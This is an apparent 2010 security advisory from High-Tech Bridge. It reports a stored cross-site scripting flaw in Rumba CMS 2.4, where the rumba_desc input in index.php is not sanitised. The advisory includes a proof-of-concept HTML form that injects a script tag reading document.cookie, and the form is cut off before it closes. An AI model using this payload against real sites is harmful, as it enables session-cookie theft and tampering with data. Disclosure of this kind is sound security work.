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XSS vulnerability in Rumba CMS

Vulnerability ID: HTB22592
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_rumba_cms_1.html
Product: Rumba CMS
Vendor: Rumba Netware Ltd. ( http://rumbacms.com ) 
Vulnerable Version: 2.4 and Probably Prior Versions
Vendor Notification: 18 August 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "rumba_desc" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/index.php"; method="post" name="main" >
<input type="hidden" name="sendid" value="rumba_id" />
<input type="hidden" name="sendtitl" value="rumba_titl" />
<input type="hidden" name="sendauthor" value="rumba_author" />
<input type="hidden" name="senddata" value="Sat, 14 Aug 2010 14:34:20" />
<input type="hidden" name="sendlost" value="0" />
<input type="hidden" name="senddesc" value='rumba_desc"><script>alert(document.cookie)</script>' />
<input type="hidden" name="sendanons" value="rumba_anons" />
<input type="hidden" name="sendtext" value="rumba_text" />
<input type="hidden" name="sendtags" value="service" />
<input type="hidden" name="sendcomm" value="yes" />
<input type="hidden" name="add-end" value="begin" />
<input type="hidden" name="send_old_id" value="rumba_old_id" />
<input type="hidden" name="event" value="add_page" />